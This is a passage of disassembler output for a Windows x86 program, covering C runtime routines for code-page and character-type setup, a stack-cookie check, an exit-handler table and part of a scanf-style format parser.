lea eax, [ebp+1D4h+var_C]
push eax
call sub_426D3A
inc ebx
pop ecx
inc ebx
test eax, eax
pop ecx
jle short loc_422A4C
mov edi, [ebp+1D4h+arg_0]
push eax
lea eax, [ebp+1D4h+var_220]
lea ecx, [ebp+1D4h+var_C]
call sub_422291
cmp [ebp+1D4h+var_248], 0
pop ecx
jnz short loc_422A02
jmp short loc_422A4C
; ---------------------------------------------------------------------------
loc_422A3D: ; CODE XREF: sub_4222C8+729j
; sub_4222C8+72Fj
push [ebp+1D4h+var_21C]
mov ecx, [ebp+1D4h+var_218]
lea eax, [ebp+1D4h+var_220]
call sub_422291
pop ecx
loc_422A4C: ; CODE XREF: sub_4222C8+755j
; sub_4222C8+773j
test byte ptr [ebp+1D4h+var_210], 4
jz short loc_422A66
push [ebp+1D4h+arg_0]
lea eax, [ebp+1D4h+var_220]
push esi
push 20h
call sub_42226D
add esp, 0Ch
loc_422A66: ; CODE XREF: sub_4222C8+5B4j
; sub_4222C8+6A1j ...
cmp [ebp+1D4h+var_234], 0
jz short loc_422A79 ; default
push [ebp+1D4h+var_234]
call sub_41E2A1
and [ebp+1D4h+var_234], 0
pop ecx
loc_422A79: ; CODE XREF: sub_4222C8+7Fj
; sub_4222C8+A4j ...
mov edi, [ebp+1D4h+arg_4] ; default
mov bl, [edi]
test bl, bl
jnz loc_422305
loc_422A89: ; CODE XREF: sub_4222C8+4Bj
pop edi
pop esi
loc_422A8B: ; CODE XREF: sub_4222C8+31j
mov ecx, [ebp+1D4h+var_4]
mov eax, [ebp+1D4h+var_220]
pop ebx
call sub_422B83
add ebp, 1D4h
leave
retn
sub_4222C8 endp
; ---------------------------------------------------------------------------
off_422AA2 dd offset loc_4224E4 ; DATA XREF: sub_4222C8+85r
dd offset loc_422354 ; jump table for switch statement
dd offset loc_422371
dd offset loc_4223BD
dd offset loc_4223FE
dd offset loc_422407
dd offset loc_422445
dd offset loc_422526
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422AC2 proc near ; CODE XREF: sub_41E755+Cp
var_4 = word ptr -4
var_2 = word ptr -2
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov ecx, [ebp+arg_0]
cmp ecx, 0FFh
jbe short loc_422B2F
and [ebp+var_4], 0
push edi
xor eax, eax
lea edi, [ebp+var_2]
stosw
mov eax, ecx
shr eax, 8
cmp ds:dword_4E2CA4, 0
mov byte ptr [ebp+arg_0+2], al
mov byte ptr [ebp+arg_0+3], cl
pop edi
jnz short loc_422AF7
loc_422AF3: ; CODE XREF: sub_422AC2+59j
; sub_422AC2+60j ...
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_422AF7: ; CODE XREF: sub_422AC2+2Fj
push 1
push ds:dword_4E2CA0
lea eax, [ebp+var_4]
push ds:dword_4E2DC4
push eax
push 2
lea eax, [ebp+arg_0+2]
push eax
push 1
call sub_426DA0
add esp, 1Ch
test eax, eax
jz short loc_422AF3
cmp [ebp+var_2], 0
jnz short loc_422AF3
test byte ptr [ebp+var_4], 8
jz short loc_422AF3
xor eax, eax
inc eax
leave
retn
; ---------------------------------------------------------------------------
loc_422B2F: ; CODE XREF: sub_422AC2+Dj
cmp ds:dword_4437B0, 1
jle short loc_422B44
push 8
push ecx
call sub_422B91
pop ecx
pop ecx
leave
retn
; ---------------------------------------------------------------------------
loc_422B44: ; CODE XREF: sub_422AC2+74j
mov eax, ds:off_4437D8
movzx eax, byte ptr [eax+ecx*2]
and eax, 8
leave
retn
sub_422AC2 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422B83
loc_422B52: ; CODE XREF: sub_422B83:loc_422B8Cj
push 8
push offset dword_439550
call sub_425F14
and dword ptr [ebp-4], 0
push 0
push 1
call sub_426FC0
pop ecx
pop ecx
jmp short loc_422B76
; END OF FUNCTION CHUNK FOR sub_422B83
; ---------------------------------------------------------------------------
db 33h
dd 8BC340C0h
db 65h, 0E8h
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422B83
loc_422B76: ; CODE XREF: sub_422B83-16j
or dword ptr [ebp-4], 0FFFFFFFFh
push 3
call ds:dword_42B000 ; ExitProcess
int 3 ; Trap to Debugger
; END OF FUNCTION CHUNK FOR sub_422B83
; =============== S U B R O U T I N E =======================================
sub_422B83 proc near ; CODE XREF: sub_41E7B2+A6p
; sub_4222C8+7CDp ...
; FUNCTION CHUNK AT 00422B52 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00422B76 SIZE 0000000D BYTES
cmp ecx, ds:dword_4437D4
jnz short loc_422B8C
retn
; ---------------------------------------------------------------------------
loc_422B8C: ; CODE XREF: sub_422B83+6j
jmp loc_422B52
sub_422B83 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422B91 proc near ; CODE XREF: sub_41EAB4+22p
; sub_420AD5+Fp ...
var_4 = byte ptr -4
var_3 = byte ptr -3
var_2 = byte ptr -2
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
lea ecx, [eax+1]
cmp ecx, 100h
ja short loc_422BAF
mov ecx, ds:off_4437D8
movzx eax, word ptr [ecx+eax*2]
jmp short loc_422C0A
; ---------------------------------------------------------------------------
loc_422BAF: ; CODE XREF: sub_422B91+10j
mov ecx, eax
sar ecx, 8
push esi
mov esi, ds:off_4437D8
movzx edx, cl
test byte ptr [esi+edx*2+1], 80h
pop esi
jz short loc_422BD5
push 2
mov [ebp+var_3], al
mov [ebp+var_4], cl
mov [ebp+var_2], 0
pop eax
jmp short loc_422BDF
; ---------------------------------------------------------------------------
loc_422BD5: ; CODE XREF: sub_422B91+33j
mov [ebp+var_4], al
xor eax, eax
mov [ebp+var_3], 0
inc eax
loc_422BDF: ; CODE XREF: sub_422B91+42j
push 1
push ds:dword_4E29A4
lea ecx, [ebp+arg_0+2]
push ds:dword_4E29B4
push ecx
push eax
lea eax, [ebp+var_4]
push eax
push 1
call sub_426DA0
add esp, 1Ch
test eax, eax
jnz short loc_422C06
leave
retn
; ---------------------------------------------------------------------------
loc_422C06: ; CODE XREF: sub_422B91+71j
movzx eax, word ptr [ebp+arg_0+2]
loc_422C0A: ; CODE XREF: sub_422B91+1Cj
and eax, [ebp+arg_4]
leave
retn
sub_422B91 endp
; =============== S U B R O U T I N E =======================================
sub_422C0F proc near ; CODE XREF: sub_41EC78+1Dp
; sub_42065F+16p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov ds:dword_4E28F8, eax
xor ecx, ecx
loc_422C1A: ; CODE XREF: sub_422C0F+18j
cmp eax, ds:dword_4437E0[ecx*8]
jz short loc_422C3E
inc ecx
cmp ecx, 2Dh
jb short loc_422C1A
cmp eax, 13h
jb short loc_422C4B
cmp eax, 24h
ja short loc_422C4B
mov ds:dword_4E28F4, 0Dh
retn
; ---------------------------------------------------------------------------
loc_422C3E: ; CODE XREF: sub_422C0F+12j
mov eax, ds:dword_4437E4[ecx*8]
mov ds:dword_4E28F4, eax
retn
; ---------------------------------------------------------------------------
loc_422C4B: ; CODE XREF: sub_422C0F+1Dj
; sub_422C0F+22j
cmp eax, 0BCh
jb short loc_422C63
cmp eax, 0CAh
mov ds:dword_4E28F4, 8
jbe short locret_422C6D
loc_422C63: ; CODE XREF: sub_422C0F+41j
mov ds:dword_4E28F4, 16h
locret_422C6D: ; CODE XREF: sub_422C0F+52j
retn
sub_422C0F endp
; =============== S U B R O U T I N E =======================================
sub_422C6E proc near ; CODE XREF: sub_41ECA2+8p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push dword ptr [esi+10h]
call sub_426D13
test eax, eax
pop ecx
jz short loc_422CF2
cmp esi, offset dword_443520
jnz short loc_422C8C
xor eax, eax
jmp short loc_422C97
; ---------------------------------------------------------------------------
loc_422C8C: ; CODE XREF: sub_422C6E+18j
cmp esi, offset dword_443540
jnz short loc_422CF2
xor eax, eax
inc eax
loc_422C97: ; CODE XREF: sub_422C6E+1Cj
inc ds:dword_4E2944
test word ptr [esi+0Ch], 10Ch
jnz short loc_422CF2
push ebx
push edi
lea edi, ds:4E2968h[eax*4]
cmp dword ptr [edi], 0
mov ebx, 1000h
jnz short loc_422CD8
push ebx
call sub_41E5D3
test eax, eax
pop ecx
mov [edi], eax
jnz short loc_422CD8
lea eax, [esi+14h]
push 2
mov [esi+8], eax
mov [esi], eax
pop eax
mov [esi+18h], eax
mov [esi+4], eax
jmp short loc_422CE5
; ---------------------------------------------------------------------------
loc_422CD8: ; CODE XREF: sub_422C6E+48j
; sub_422C6E+55j
mov edi, [edi]
mov [esi+8], edi
mov [esi], edi
mov [esi+18h], ebx
mov [esi+4], ebx
loc_422CE5: ; CODE XREF: sub_422C6E+68j
or word ptr [esi+0Ch], 1102h
pop edi
xor eax, eax
pop ebx
inc eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_422CF2: ; CODE XREF: sub_422C6E+10j
; sub_422C6E+24j ...
xor eax, eax
pop esi
retn
sub_422C6E endp
; =============== S U B R O U T I N E =======================================
sub_422CF6 proc near ; CODE XREF: sub_41ECA2+24p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 0
push esi
jz short loc_422D1F
mov esi, [esp+4+arg_4]
test byte ptr [esi+0Dh], 10h
jz short loc_422D30
push esi
call sub_420FC7
and byte ptr [esi+0Dh], 0EEh
and dword ptr [esi+18h], 0
and dword ptr [esi], 0
and dword ptr [esi+8], 0
jmp short loc_422D2F
; ---------------------------------------------------------------------------
loc_422D1F: ; CODE XREF: sub_422CF6+6j
mov eax, [esp+4+arg_4]
test byte ptr [eax+0Dh], 10h
jz short loc_422D30
push eax
call sub_420FC7
loc_422D2F: ; CODE XREF: sub_422CF6+27j
pop ecx
loc_422D30: ; CODE XREF: sub_422CF6+10j
; sub_422CF6+31j
pop esi
retn
sub_422CF6 endp
; =============== S U B R O U T I N E =======================================
sub_422D32 proc near ; CODE XREF: sub_422F16+157p
; sub_422F16+19Cp
sub eax, 3A4h
jz short loc_422D5B
sub eax, 4
jz short loc_422D55
sub eax, 0Dh
jz short loc_422D4F
dec eax
jz short loc_422D49
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_422D49: ; CODE XREF: sub_422D32+12j
mov eax, 404h
retn
; ---------------------------------------------------------------------------
loc_422D4F: ; CODE XREF: sub_422D32+Fj
mov eax, 412h
retn
; ---------------------------------------------------------------------------
loc_422D55: ; CODE XREF: sub_422D32+Aj
mov eax, 804h
retn
; ---------------------------------------------------------------------------
loc_422D5B: ; CODE XREF: sub_422D32+5j
mov eax, 411h
retn
sub_422D32 endp
; =============== S U B R O U T I N E =======================================
sub_422D61 proc near ; CODE XREF: sub_422F16:loc_4230DEp
push edi
push 40h
xor eax, eax
pop ecx
mov edi, offset byte_4E2CC0
rep stosd
stosb
xor eax, eax
mov ds:dword_4E2DC4, eax
mov ds:dword_4E2CA4, eax
mov ds:dword_4E2CA0, eax
mov edi, offset dword_4E2DD0
stosd
stosd
stosd
pop edi
retn
sub_422D61 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422D8A proc near ; CODE XREF: sub_422F16:loc_4230E3p
var_518 = word ptr -518h
var_318 = byte ptr -318h
var_218 = byte ptr -218h
var_118 = byte ptr -118h
var_18 = byte ptr -18h
var_12 = byte ptr -12h
var_11 = byte ptr -11h
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 518h
mov eax, ds:dword_4437D4
mov [ebp+var_4], eax
push esi
lea eax, [ebp+var_18]
push eax
push ds:dword_4E2DC4
call ds:dword_42B190 ; GetCPInfo
cmp eax, 1
mov esi, 100h
jnz loc_422EC7
xor eax, eax
loc_422DBC: ; CODE XREF: sub_422D8A+3Cj
mov [ebp+eax+var_118], al
inc eax
cmp eax, esi
jb short loc_422DBC
mov al, [ebp+var_12]
test al, al
mov [ebp+var_118], 20h
jz short loc_422E0C
push ebx
lea edx, [ebp+var_11]
push edi
loc_422DDB: ; CODE XREF: sub_422D8A+7Ej
movzx ecx, byte ptr [edx]
movzx eax, al
cmp eax, ecx
ja short loc_422E02
sub ecx, eax
inc ecx
mov ebx, ecx
shr ecx, 2
lea edi, [ebp+eax+var_118]
mov eax, 20202020h
rep stosd
mov ecx, ebx
and ecx, 3
rep stosb
loc_422E02: ; CODE XREF: sub_422D8A+59j
inc edx
mov al, [edx]
inc edx
test al, al
jnz short loc_422DDB
pop edi
pop ebx
loc_422E0C: ; CODE XREF: sub_422D8A+4Aj
push 0
push ds:dword_4E2CA0
lea eax, [ebp+var_518]
push ds:dword_4E2DC4
push eax
push esi
lea eax, [ebp+var_118]
push eax
push 1
call sub_426DA0
push 0
push ds:dword_4E2DC4
lea eax, [ebp+var_218]
push esi
push eax
push esi
lea eax, [ebp+var_118]
push eax
push esi
push ds:dword_4E2CA0
call sub_425B55
push 0
push ds:dword_4E2DC4
lea eax, [ebp+var_318]
push esi
push eax
push esi
lea eax, [ebp+var_118]
push eax
push 200h
push ds:dword_4E2CA0
call sub_425B55
add esp, 5Ch
xor eax, eax
loc_422E81: ; CODE XREF: sub_422D8A+139j
mov cx, [ebp+eax*2+var_518]
test cl, 1
jz short loc_422EA4
or ds:byte_4E2CC1[eax], 10h
mov cl, [ebp+eax+var_218]
loc_422E9C: ; CODE XREF: sub_422D8A+12Dj
mov ds:byte_4E2DE0[eax], cl
jmp short loc_422EC0
; ---------------------------------------------------------------------------
loc_422EA4: ; CODE XREF: sub_422D8A+102j
test cl, 2
jz short loc_422EB9
or ds:byte_4E2CC1[eax], 20h
mov cl, [ebp+eax+var_318]
jmp short loc_422E9C
; ---------------------------------------------------------------------------
loc_422EB9: ; CODE XREF: sub_422D8A+11Dj
mov ds:byte_4E2DE0[eax], 0
loc_422EC0: ; CODE XREF: sub_422D8A+118j
inc eax
cmp eax, esi
jb short loc_422E81
jmp short loc_422F0B
; ---------------------------------------------------------------------------
loc_422EC7: ; CODE XREF: sub_422D8A+2Aj
xor eax, eax
loc_422EC9: ; CODE XREF: sub_422D8A+17Fj
cmp eax, 41h
jb short loc_422EE7
cmp eax, 5Ah
ja short loc_422EE7
or ds:byte_4E2CC1[eax], 10h
mov cl, al
add cl, 20h
loc_422EDF: ; CODE XREF: sub_422D8A+173j
mov ds:byte_4E2DE0[eax], cl
jmp short loc_422F06
; ---------------------------------------------------------------------------
loc_422EE7: ; CODE XREF: sub_422D8A+142j
; sub_422D8A+147j
cmp eax, 61h
jb short loc_422EFF
cmp eax, 7Ah
ja short loc_422EFF
or ds:byte_4E2CC1[eax], 20h
mov cl, al
sub cl, 20h
jmp short loc_422EDF
; ---------------------------------------------------------------------------
loc_422EFF: ; CODE XREF: sub_422D8A+160j
; sub_422D8A+165j
mov ds:byte_4E2DE0[eax], 0
loc_422F06: ; CODE XREF: sub_422D8A+15Bj
inc eax
cmp eax, esi
jb short loc_422EC9
loc_422F0B: ; CODE XREF: sub_422D8A+13Bj
mov ecx, [ebp+var_4]
pop esi
call sub_422B83
leave
retn
sub_422D8A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422F16 proc near ; CODE XREF: sub_4230FC+Bp
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_12 = byte ptr -12h
var_11 = byte ptr -11h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1Ch
mov eax, ds:dword_4437D4
push ebx
push esi
mov esi, [ebp+arg_0]
xor ebx, ebx
cmp esi, 0FFFFFFFEh
mov [ebp+var_4], eax
push edi
mov ds:dword_4E2970, ebx
jnz short loc_422F49
mov ds:dword_4E2970, 1
call ds:dword_42B1C4 ; GetOEMCP
jmp short loc_422F74
; ---------------------------------------------------------------------------
loc_422F49: ; CODE XREF: sub_422F16+1Fj
cmp esi, 0FFFFFFFDh
jnz short loc_422F60
mov ds:dword_4E2970, 1
call ds:dword_42B1C0 ; GetACP
jmp short loc_422F74
; ---------------------------------------------------------------------------
loc_422F60: ; CODE XREF: sub_422F16+36j
cmp esi, 0FFFFFFFCh
jnz short loc_422F79
mov eax, ds:dword_4E29B4
mov ds:dword_4E2970, 1
loc_422F74: ; CODE XREF: sub_422F16+31j
; sub_422F16+48j
mov [ebp+arg_0], eax
mov esi, eax
loc_422F79: ; CODE XREF: sub_422F16+4Dj
cmp esi, ds:dword_4E2DC4
jz loc_4230E8
cmp esi, ebx
jz loc_4230DE
xor edx, edx
xor eax, eax
loc_422F91: ; CODE XREF: sub_422F16+8Cj
cmp ds:dword_443950[eax], esi
jz short loc_423000
add eax, 30h
inc edx
cmp eax, 0F0h
jb short loc_422F91
lea eax, [ebp+var_18]
push eax
push esi
call ds:dword_42B190 ; GetCPInfo
cmp eax, 1
jnz loc_4230D6
push 40h
xor eax, eax
pop ecx
mov edi, offset byte_4E2CC0
rep stosd
stosb
xor edi, edi
inc edi
cmp [ebp+var_18], edi
mov ds:dword_4E2DC4, esi
mov ds:dword_4E2CA0, ebx
jbe loc_4230C4
cmp [ebp+var_12], 0
jz loc_42309F
lea ecx, [ebp+var_11]
loc_422FEA: ; CODE XREF: sub_422F16+183j
mov dl, [ecx]
test dl, dl
jz loc_42309F
movzx eax, byte ptr [ecx-1]
movzx edx, dl
jmp loc_42308F
; ---------------------------------------------------------------------------
loc_423000: ; CODE XREF: sub_422F16+81j
push 40h
xor eax, eax
pop ecx
mov edi, offset byte_4E2CC0
rep stosd
lea ecx, [edx+edx*2]
shl ecx, 4
mov [ebp+var_1C], ebx
stosb
lea ebx, dword_443960[ecx]
loc_42301C: ; CODE XREF: sub_422F16+143j
mov al, [ebx]
mov esi, ebx
jmp short loc_42304B
; ---------------------------------------------------------------------------
loc_423022: ; CODE XREF: sub_422F16+137j
mov dl, [esi+1]
test dl, dl
jz short loc_42304F
movzx eax, al
movzx edi, dl
cmp eax, edi
ja short loc_423047
mov edx, [ebp+var_1C]
mov dl, ds:byte_443948[edx]
loc_42303C: ; CODE XREF: sub_422F16+12Fj
or ds:byte_4E2CC1[eax], dl
inc eax
cmp eax, edi
jbe short loc_42303C
loc_423047: ; CODE XREF: sub_422F16+11Bj
inc esi
inc esi
mov al, [esi]
loc_42304B: ; CODE XREF: sub_422F16+10Aj
test al, al
jnz short loc_423022
loc_42304F: ; CODE XREF: sub_422F16+111j
inc [ebp+var_1C]
add ebx, 8
cmp [ebp+var_1C], 4
jb short loc_42301C
mov eax, [ebp+arg_0]
mov ds:dword_4E2DC4, eax
mov ds:dword_4E2CA4, 1
call sub_422D32
lea esi, dword_443954[ecx]
mov edi, offset dword_4E2DD0
movsd
movsd
mov ds:dword_4E2CA0, eax
movsd
jmp short loc_4230E3
; ---------------------------------------------------------------------------
loc_423087: ; CODE XREF: sub_422F16+17Bj
or ds:byte_4E2CC1[eax], 4
inc eax
loc_42308F: ; CODE XREF: sub_422F16+E5j
cmp eax, edx
jbe short loc_423087
inc ecx
inc ecx
cmp byte ptr [ecx-1], 0
jnz loc_422FEA
loc_42309F: ; CODE XREF: sub_422F16+CBj
; sub_422F16+D8j
mov eax, edi
loc_4230A1: ; CODE XREF: sub_422F16+198j
or ds:byte_4E2CC1[eax], 8
inc eax
cmp eax, 0FFh
jb short loc_4230A1
mov eax, esi
call sub_422D32
mov ds:dword_4E2CA0, eax
mov ds:dword_4E2CA4, edi
jmp short loc_4230CA
; ---------------------------------------------------------------------------
loc_4230C4: ; CODE XREF: sub_422F16+C1j
mov ds:dword_4E2CA4, ebx
loc_4230CA: ; CODE XREF: sub_422F16+1ACj
xor eax, eax
mov edi, offset dword_4E2DD0
stosd
stosd
stosd
jmp short loc_4230E3
; ---------------------------------------------------------------------------
loc_4230D6: ; CODE XREF: sub_422F16+9Cj
cmp ds:dword_4E2970, ebx
jz short loc_4230EC
loc_4230DE: ; CODE XREF: sub_422F16+71j
call sub_422D61
loc_4230E3: ; CODE XREF: sub_422F16+16Fj
; sub_422F16+1BEj
call sub_422D8A
loc_4230E8: ; CODE XREF: sub_422F16+69j
xor eax, eax
jmp short loc_4230EF
; ---------------------------------------------------------------------------
loc_4230EC: ; CODE XREF: sub_422F16+1C6j
or eax, 0FFFFFFFFh
loc_4230EF: ; CODE XREF: sub_422F16+1D4j
mov ecx, [ebp+var_4]
pop edi
pop esi
pop ebx
call sub_422B83
leave
retn
sub_422F16 endp
; =============== S U B R O U T I N E =======================================
sub_4230FC proc near ; CODE XREF: sub_42638A+Cp
; sub_4263E7+Dp ...
cmp ds:dword_4E3F30, 0
jnz short loc_423117
push 0FFFFFFFDh
call sub_422F16
pop ecx
mov ds:dword_4E3F30, 1
loc_423117: ; CODE XREF: sub_4230FC+7j
xor eax, eax
retn
sub_4230FC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42311A proc near ; CODE XREF: sub_41ED01+2Cp
; sub_41ED01+A7p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp ds:dword_4E2CA4, 0
push edi
mov edi, [ebp+arg_0]
mov [ebp+arg_0], edi
jnz short loc_42313E
push [ebp+arg_8]
push [ebp+arg_4]
push edi
call sub_41E860
add esp, 0Ch
jmp short loc_423186
; ---------------------------------------------------------------------------
loc_42313E: ; CODE XREF: sub_42311A+11j
mov ecx, [ebp+arg_8]
test ecx, ecx
jz short loc_423183
mov edx, [ebp+arg_4]
push esi
loc_423149: ; CODE XREF: sub_42311A+77j
mov al, [edx]
movzx esi, al
dec ecx
test ds:byte_4E2CC1[esi], 4
mov [edi], al
jz short loc_423189
inc edi
inc edx
test ecx, ecx
jz short loc_423195
mov al, [edx]
dec ecx
mov [edi], al
inc edi
inc edx
test al, al
jnz short loc_42318F
mov [edi-2], al
loc_42316E: ; CODE XREF: sub_42311A+73j
test ecx, ecx
jz short loc_423182
mov edx, ecx
shr ecx, 2
xor eax, eax
rep stosd
mov ecx, edx
and ecx, 3
rep stosb
loc_423182: ; CODE XREF: sub_42311A+56j
; sub_42311A+79j ...
pop esi
loc_423183: ; CODE XREF: sub_42311A+29j
mov eax, [ebp+arg_0]
loc_423186: ; CODE XREF: sub_42311A+22j
pop edi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_423189: ; CODE XREF: sub_42311A+3Ej
inc edi
inc edx
test al, al
jz short loc_42316E
loc_42318F: ; CODE XREF: sub_42311A+4Fj
test ecx, ecx
jnz short loc_423149
jmp short loc_423182
; ---------------------------------------------------------------------------
loc_423195: ; CODE XREF: sub_42311A+44j
mov byte ptr [edi-1], 0
jmp short loc_423182
sub_42311A endp
; =============== S U B R O U T I N E =======================================
sub_42319B proc near ; CODE XREF: sub_42321D+4p
arg_0 = dword ptr 4
push esi
push ds:dword_4E3F2C
call sub_427108
pop ecx
mov ecx, ds:dword_4E3F28
mov esi, eax
mov eax, ds:dword_4E3F2C
mov edx, ecx
sub edx, eax
add edx, 4
cmp esi, edx
jnb short loc_42320E
mov ecx, 800h
cmp esi, ecx
jnb short loc_4231CB
mov ecx, esi
loc_4231CB: ; CODE XREF: sub_42319B+2Cj
add ecx, esi
push ecx
push eax
call sub_41E3C2
test eax, eax
pop ecx
pop ecx
jnz short loc_4231F1
add esi, 10h
push esi
push ds:dword_4E3F2C
call sub_41E3C2
test eax, eax
pop ecx
pop ecx
jnz short loc_4231F1
pop esi
retn
; ---------------------------------------------------------------------------
loc_4231F1: ; CODE XREF: sub_42319B+3Dj
; sub_42319B+52j
mov ecx, ds:dword_4E3F28
sub ecx, ds:dword_4E3F2C
mov ds:dword_4E3F2C, eax
sar ecx, 2
lea ecx, [eax+ecx*4]
mov ds:dword_4E3F28, ecx
loc_42320E: ; CODE XREF: sub_42319B+23j
mov eax, [esp+4+arg_0]
mov [ecx], eax
add ds:dword_4E3F28, 4
pop esi
retn
sub_42319B endp
; =============== S U B R O U T I N E =======================================
sub_42321D proc near ; CODE XREF: sub_41F146+40p
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_42319B
neg eax
sbb eax, eax
neg eax
pop ecx
dec eax
retn
sub_42321D endp
; ---------------------------------------------------------------------------
byte_42322F db 68h ; DATA XREF: seg002:0043C020o
dd 80h, 0FFB39AE8h, 59C085FFh, 4E3F2CA3h, 6A047500h, 83C35818h
dd 2CA10020h, 0A3004E3Fh, 4E3F28h
db 33h, 0C0h, 0C3h
; =============== S U B R O U T I N E =======================================
sub_423257 proc near ; CODE XREF: start:loc_420E00p
push 0Ch
push offset dword_439A68
call sub_425F14
mov dword ptr [ebp-1Ch], offset dword_43A5BC
loc_42326A: ; CODE XREF: sub_423257+3Cj
cmp dword ptr [ebp-1Ch], offset dword_43A5BC
jnb short loc_423295
and dword ptr [ebp-4], 0
mov eax, [ebp-1Ch]
mov eax, [eax]
test eax, eax
jz short loc_42328B
call eax
jmp short loc_42328B
; ---------------------------------------------------------------------------
dd 0C340C033h
db 8Bh, 65h, 0E8h
; ---------------------------------------------------------------------------
loc_42328B: ; CODE XREF: sub_423257+27j
; sub_423257+2Bj
or dword ptr [ebp-4], 0FFFFFFFFh
add dword ptr [ebp-1Ch], 4
jmp short loc_42326A
; ---------------------------------------------------------------------------
loc_423295: ; CODE XREF: sub_423257+1Aj
call sub_425F4F
retn
sub_423257 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
byte_42329B db 6Ah ; DATA XREF: sub_41F146:loc_41F181o
dd 9A78680Ch, 6DE80043h, 0C700002Ch, 0A5C4E445h, 7D810043h
dd 43A5C4E4h, 83227300h, 8B00FC65h, 8BE445h, 0B74C085h
dd 7EBD0FFh, 0C340C033h, 83E8658Bh, 83FFFC4Dh, 0EB04E445h
dd 2C71E8D5h
db 2 dup(0), 0C3h
; =============== S U B R O U T I N E =======================================
sub_4232DF proc near ; CODE XREF: sub_423327+B43p
; sub_423327+C8Ap
cmp ds:dword_4437B0, 1
push esi
mov esi, eax
jle short loc_4232F7
push 4
push esi
call sub_422B91
pop ecx
pop ecx
jmp short loc_423303
; ---------------------------------------------------------------------------
loc_4232F7: ; CODE XREF: sub_4232DF+Aj
mov eax, ds:off_4437D8
movzx eax, byte ptr [eax+esi*2]
and eax, 4
loc_423303: ; CODE XREF: sub_4232DF+16j
test eax, eax
jnz short loc_42330D
and esi, 0FFFFFFDFh
sub esi, 7
loc_42330D: ; CODE XREF: sub_4232DF+26j
mov eax, esi
pop esi
retn
sub_4232DF endp
; =============== S U B R O U T I N E =======================================
sub_423311 proc near ; CODE XREF: sub_423327+8Ap
; sub_423327+2ADp ...
dec dword ptr [edx+4]
js short loc_42331F
mov ecx, [edx]
movzx eax, byte ptr [ecx]
inc ecx
mov [edx], ecx
retn
; ---------------------------------------------------------------------------
loc_42331F: ; CODE XREF: sub_423311+3j
push edx
call sub_421C63
pop ecx
retn
sub_423311 endp
; =============== S U B R O U T I N E =======================================
sub_423327 proc near ; CODE XREF: sub_41F73D+2Ap
push 1CCh
push offset dword_439A88
call sub_425F14
mov eax, ds:dword_4437D4
mov [ebp-1Ch], eax
xor eax, eax
mov [ebp-1BCh], eax
mov [ebp-1D8h], eax
mov [ebp-1B0h], eax
mov [ebp-194h], eax
mov [ebp-195h], al
mov [ebp-184h], eax
mov [ebp-1B8h], eax
loc_42336A: ; CODE XREF: sub_423327+C0j
; sub_423327+E1Aj
mov esi, [ebp+0Ch]
loc_42336D: ; CODE XREF: sub_423327+E08j
mov al, [esi]
test al, al
jz loc_424147
movzx eax, al
cmp ds:dword_4437B0, 1
jle short loc_42338F
push 8
push eax
call sub_422B91
pop ecx
pop ecx
jmp short loc_42339C
; ---------------------------------------------------------------------------
loc_42338F: ; CODE XREF: sub_423327+5Aj
mov ecx, ds:off_4437D8
movzx eax, byte ptr [ecx+eax*2]
and eax, 8
loc_42339C: ; CODE XREF: sub_423327+66j
xor edi, edi
cmp eax, edi
jz short loc_4233E9
dec dword ptr [ebp-184h]
loc_4233A8: ; CODE XREF: sub_423327+9Aj
inc dword ptr [ebp-184h]
mov edx, [ebp+8]
call sub_423311
mov esi, eax
push esi
call sub_420AFE
pop ecx
test eax, eax
jnz short loc_4233A8
cmp esi, 0FFFFFFFFh
jz short loc_4233D3
push dword ptr [ebp+8]
push esi
call sub_427140
pop ecx
pop ecx
loc_4233D3: ; CODE XREF: sub_423327+9Fj
; sub_423327+BEj
inc dword ptr [ebp+0Ch]
mov eax, [ebp+0Ch]
movzx eax, byte ptr [eax]
push eax
call sub_420AFE
pop ecx
test eax, eax
jnz short loc_4233D3
jmp short loc_42336A
; ---------------------------------------------------------------------------
loc_4233E9: ; CODE XREF: sub_423327+79j
mov esi, [ebp+0Ch]
cmp byte ptr [esi], 25h
jnz loc_4240B1
mov [ebp-1A0h], edi
mov byte ptr [ebp-198h], 0
mov [ebp-19Ch], edi
mov [ebp-1B4h], edi
mov [ebp-18Ch], edi
mov byte ptr [ebp-1A1h], 0
mov byte ptr [ebp-197h], 0
mov byte ptr [ebp-18Eh], 0
mov byte ptr [ebp-17Dh], 0
mov byte ptr [ebp-196h], 0
mov byte ptr [ebp-185h], 0
mov byte ptr [ebp-18Dh], 1
mov [ebp-1C8h], edi
loc_42344B: ; CODE XREF: sub_423327+229j
inc esi
movzx ebx, byte ptr [esi]
movzx eax, bl
cmp ds:dword_4437B0, 1
jle short loc_423467
push 4
push eax
call sub_422B91
pop ecx
pop ecx
jmp short loc_423474
; ---------------------------------------------------------------------------
loc_423467: ; CODE XREF: sub_423327+132j
mov ecx, ds:off_4437D8
movzx eax, byte ptr [ecx+eax*2]
and eax, 4
loc_423474: ; CODE XREF: sub_423327+13Ej
test eax, eax
jz short loc_42348A
inc dword ptr [ebp-1B4h]
